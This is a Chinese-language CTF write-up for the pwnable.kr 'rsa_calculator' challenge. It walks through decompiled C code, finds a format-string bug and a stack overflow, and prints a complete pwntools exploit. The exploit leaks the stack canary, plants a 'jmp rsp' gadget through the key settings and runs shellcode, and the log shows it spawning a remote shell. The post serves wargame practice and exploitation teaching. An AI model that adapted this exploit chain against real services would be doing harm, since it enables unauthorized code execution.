Fork me on GitHub

pwnable.kr-rsa_calculator

前言

读代码题,虽然是逆向代码,哈哈。这道题得细心找,不能急,否则就得像我一样花了很长时间在printf的漏洞利用上了,悲催。

分析

分析反编译代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
signed __int64 set_key()
{
int v1; // [sp+18h] [bp-18h]@7
int v2; // [sp+1Ch] [bp-14h]@7
unsigned int i; // [sp+20h] [bp-10h]@1
int v4; // [sp+24h] [bp-Ch]@7
int v5; // [sp+28h] [bp-8h]@7
__int16 v6; // [sp+2Ch] [bp-4h]@1
__int16 v7; // [sp+2Eh] [bp-2h]@1

puts("-SET RSA KEY-");
printf("p : ");
__isoc99_scanf("%d", &v6);
printf("q : ", &v6);
__isoc99_scanf("%d", &v7);
printf("p, q, set to %d, %d\n", (unsigned int)v6, (unsigned int)v7);
puts("-current private key and public keys-");
printf("public key : ");
for ( i = 0; i <= 7; ++i )
printf("%02x ", pub[i]);
printf("\npublic key : ");
for ( i = 0; i <= 7; ++i )
printf("%02x ", pri[i]);
putchar(10);
v4 = v6 * v7;
v5 = (v6 - 1) * (v7 - 1);
printf("N set to %d, PHI set to %d\n", (unsigned int)v4, (unsigned int)v5);
printf("set public key exponent e : ");
__isoc99_scanf("%d", &v1);
printf("set private key exponent d : ", &v1);
__isoc99_scanf("%d", &v2);
if ( v1 < (unsigned int)v5 && v2 < (unsigned int)v5 && v2 * v1 % (unsigned int)v5 != 1 )
{
puts("wrong parameters for key generation");
exit(0);
}
if ( (unsigned int)v4 <= 0xFF )
{
puts("key length too short");
exit(0);
}
set_pub_key(v1, v4, (__int64)pub);
set_pri_key(v2, v4, (__int64)pri);
puts("key set ok");
printf("pubkey(e,n) : (%d(%08x), %d(%08x))\n", (unsigned int)v1, (unsigned int)v1, (unsigned int)v4, (unsigned int)v4);
printf("prikey(d,n) : (%d(%08x), %d(%08x))\n", (unsigned int)v2, (unsigned int)v2, (unsigned int)v4, (unsigned int)v4);
is_set = 1;
return 1LL;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
__int64 RSA_decrypt()
{
__int64 result; // rax@2
bool v1; // dl@10
char *v2; // rdx@12
char *v3; // rsi@14
int v4; // eax@15
__int64 v5; // rdx@18
int v6; // [sp+Ch] [bp-634h]@3
int v7; // [sp+10h] [bp-630h]@5
int i; // [sp+14h] [bp-62Ch]@11
int v9; // [sp+18h] [bp-628h]@11
int v10; // [sp+1Ch] [bp-624h]@6
char v11; // [sp+20h] [bp-620h]@12
char v12; // [sp+21h] [bp-61Fh]@12
char v13; // [sp+22h] [bp-61Eh]@12
char ptr; // [sp+2Fh] [bp-611h]@6
char v15[1024]; // [sp+30h] [bp-610h]@9
char src[520]; // [sp+430h] [bp-210h]@11
__int64 v17; // [sp+638h] [bp-8h]@1

v17 = *MK_FP(__FS__, 40LL);
if ( is_set )
{
v6 = 0;
printf("how long is your data?(max=1024) : ");
__isoc99_scanf("%d", &v6);
if ( v6 <= 1024 )
{
v7 = 0;
fgetc(stdin);
puts("paste your hex encoded data");
while ( 1 )
{
v1 = v6-- != 0;
if ( !v1 )
break;
v10 = fread(&ptr, 1uLL, 1uLL, stdin);
if ( !v10 )
exit(0);
if ( ptr == 10 )
break;
v15[v7++] = ptr;
}
memset(src, 0, 0x200uLL);
i = 0;
v9 = 0;
while ( 2 * v7 > i )
{
v11 = v15[i];
v12 = v15[i + 1];
v13 = 0;
v2 = &src[v9++];
__isoc99_sscanf(&v11, "%02x", v2);
i += 2;
}
v3 = src;
memcpy(g_ebuf, src, v7);
for ( i = 0; v7 / 8 > i; ++i )
{
v3 = pri;
v4 = decrypt(g_ebuf[i], (__int64)pri);
*(&g_pbuf + i) = v4;
}
*(&g_pbuf + i) = 0;
puts("- decrypted result -");
printf(&g_pbuf, v3); // /格式化字符串漏洞
putchar(10);
result = 0LL;
}
else
{
puts("data length exceeds buffer size");
result = 0LL;
}
}
else
{
puts("set RSA key first");
result = 0LL;
}
v5 = *MK_FP(__FS__, 40LL) ^ v17;
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int __cdecl main(int argc, const char **argv, const char **envp)
{
int *v3; // rsi@1
bool v5; // dl@4
int v6; // [sp+Ch] [bp-4h]@1

setvbuf(stdout, 0LL, 2, 0LL);
v3 = 0LL;
setvbuf(stdin, 0LL, 1, 0LL);
puts("- Buggy RSA Calculator -\n");
func[0] = (__int64)set_key;
qword_602508 = (__int64)RSA_encrypt;
qword_602510 = (__int64)RSA_decrypt;
qword_602518 = (__int64)help;
qword_602520 = (__int64)myexit;
dword_602528 = 1634629488;
dword_60252C = 778398818;
dword_602530 = 1936290411;
dword_602534 = 1953719650;
qword_602538 = (__int64)system;
v6 = 0;
while ( 1 )
{
puts("\n- select menu -");
puts("- 1. : set key pair");
puts("- 2. : encrypt");
puts("- 3. : decrypt");
puts("- 4. : help");
puts("- 5. : exit");
printf("> ", v3);
v3 = &v6;
__isoc99_scanf("%d", &v6);
if ( (unsigned int)(v6 + 1) > 6 )
break;
((void (__fastcall *)(const char *, int *))func[(unsigned __int64)(unsigned int)(v6 - 1)])("%d", &v6);
v5 = g_try++ > 10;
if ( v5 )
{
puts("this is demo version");
exit(0);
}
}
puts("invalid menu");
return 0;
}

代码对于我来说还是有点长的,哈哈。贴了几个关键的函数,大致分析一下程序很容易找到在RSA_decrypt函数中存在printf格式化字符串漏洞,利用该漏洞可以读写内存。但是仔细分析后发现,仅仅利用该漏洞无法更改返回地址或则是got表。那就需要寻找另外的漏洞了。
接下来就是仔细分析程序各个部分的功能找出漏洞,经过简单分析可以发现另外两处漏洞。

  • set_key函数在设置key时没有严格按照RSA算法的要求(具体算法百度),导致可以很容易设置想要的值。
  • RSA_decrypt函数中,在向src变量赋值时存在栈溢出。

主要看看这个栈溢出。输入的密文v15是一个16进制编码的字符串,这里就是将v15转化为字符串存到src中。如果v15的长度为最大1024字节,那么这里的循环次数就是2×v7/2=1024,而每次循环src都要赋一个字节的值,所以循环520次后就开始覆盖栈的其他空间了。继续分析,其实当循环512次后v15的索引就已经越界了,其后就是src变量。那么后续覆盖返回地址和写shellcode就是使用src中的16进制编码的字符串了。当然RSA_decrypt函数是有stack canary的,需要先利用格式化字符串漏洞leak出来。
整理利用思路,这里我先leak处canary,然后利用栈溢出覆盖返回地址为pri变量的地址之后跟shellcode,并利用set_key函数的缺陷设置pri的值为jmp rsp指令。这样当函数返回时会跳转到pri执行jmp rsp从而执行shell。下面贴出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

def strToHex(s):
ret = ''
for i in s:
ret += '{:02x}'.format(ord(i))
return ret

def work(DEBUG):
context(arch='amd64',os='linux',log_level='info')
if DEBUG:
r = process('./rsa_calculator')
else:
r = remote('pwnable.kr',9012)

pri_addr = 0x602960

#set key
r.sendline('1')
r.recvuntil('p : ')
r.sendline('61\n53\n17\n2753')

#get stack canary
r.sendline('2\n1024\n%205$016lx')
r.recvuntil('(hex encoded) -\n')
cipher = r.recvline()
r.sendline('3\n1024\n'+cipher)
r.recvuntil('- decrypted result -\n')
stack_canary = int(r.recvline(),16)

#get shell
r.sendline('1\n3\n29312\n1\n58623') #asm('jmp rsp')=0xe4ff=58623
r.recvuntil('> ')
tmp = strToHex('a'*8+p64(stack_canary)+'a'*8+p64(pri_addr)+asm(shellcraft.sh())) #set retaddr=pri_addr
r.sendline('3\n1024\n'+strToHex(tmp+'30'*(1024-len(tmp))))

r.interactive()



work(False)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
root@1:~/桌面/test$ python 1.py 
[+] Opening connection to pwnable.kr on port 9012: Done
[*] Switching to interactive mode
-SET RSA KEY-
p : q : p, q, set to 3, 29312
-current private key and public keys-
public key : 11 00 00 00 a1 0c 00 00
public key : c1 0a 00 00 a1 0c 00 00
N set to 87936, PHI set to 58622
set public key exponent e : set private key exponent d : key set ok
pubkey(e,n) : (1(00000001), 87936(00015780))
prikey(d,n) : (58623(0000e4ff), 87936(00015780))

- select menu -
- 1. : set key pair
- 2. : encrypt
- 3. : decrypt
- 4. : help
- 5. : exit
> how long is your data?(max=1024) : paste your hex encoded data
- decrypted result -

$ ls
flag
log
rsa_calculator
super.pl
$ cat flag
what a stupid buggy rsa calculator! :(
$

总结

读逆向代码要细心,不能急躁,否则可能会花很多时间。

-------------本文结束感谢您的阅读-------------

本文标题:pwnable.kr-rsa_calculator

文章作者:r00tnb

发布时间:2018年03月14日 - 12:03

最后更新:2018年08月04日 - 22:08

原始链接:https://r00tnb.github.io/2018/03/14/pwnable.kr-rsa_calculator/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

坚持原创,您的鼓励是我最大的动力!